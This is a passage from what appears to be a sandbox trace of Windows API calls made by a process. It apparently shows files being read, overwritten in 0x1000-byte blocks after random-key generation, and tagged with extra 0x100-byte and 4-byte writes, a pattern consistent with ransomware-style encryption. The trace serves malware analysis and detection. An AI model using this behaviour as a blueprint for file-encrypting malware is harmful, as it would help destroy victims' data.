lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.487] GetProcessHeap () returned 0x540000 [0090.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.487] GetProcessHeap () returned 0x540000 [0090.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.488] GetProcessHeap () returned 0x540000 [0090.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.488] GetProcessHeap () returned 0x540000 [0090.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.489] GetProcessHeap () returned 0x540000 [0090.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.490] GetProcessHeap () returned 0x540000 [0090.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.491] GetProcessHeap () returned 0x540000 [0090.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0090.491] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.491] WriteFile (in: hFile=0xa24, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0090.491] WriteFile (in: hFile=0xa24, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0090.492] GetProcessHeap () returned 0x540000 [0090.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0090.492] GetProcessHeap () returned 0x540000 [0090.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0090.492] GetProcessHeap () returned 0x540000 [0090.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0090.492] CloseHandle (hObject=0xa24) returned 1 [0090.493] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 171 [0090.493] SetFilePointerEx (in: hFile=0xa28, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.493] ReadFile (in: hFile=0xa28, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0090.493] SetFilePointerEx (in: hFile=0xa28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.493] GetProcessHeap () returned 0x540000 [0090.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0090.493] GetProcessHeap () returned 0x540000 [0090.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0090.493] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0090.493] GetProcessHeap () returned 0x540000 [0090.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0090.493] ReadFile (in: hFile=0xa28, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0090.547] SetFilePointerEx (in: hFile=0xa28, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.547] WriteFile (in: hFile=0xa28, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.547] GetProcessHeap () returned 0x540000 [0090.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.548] GetProcessHeap () returned 0x540000 [0090.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.548] GetProcessHeap () returned 0x540000 [0090.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.549] GetProcessHeap () returned 0x540000 [0090.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.550] GetProcessHeap () returned 0x540000 [0090.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.550] GetProcessHeap () returned 0x540000 [0090.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.551] GetProcessHeap () returned 0x540000 [0090.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0090.551] SetFilePointerEx (in: hFile=0xa28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.551] WriteFile (in: hFile=0xa28, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0090.551] WriteFile (in: hFile=0xa28, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, 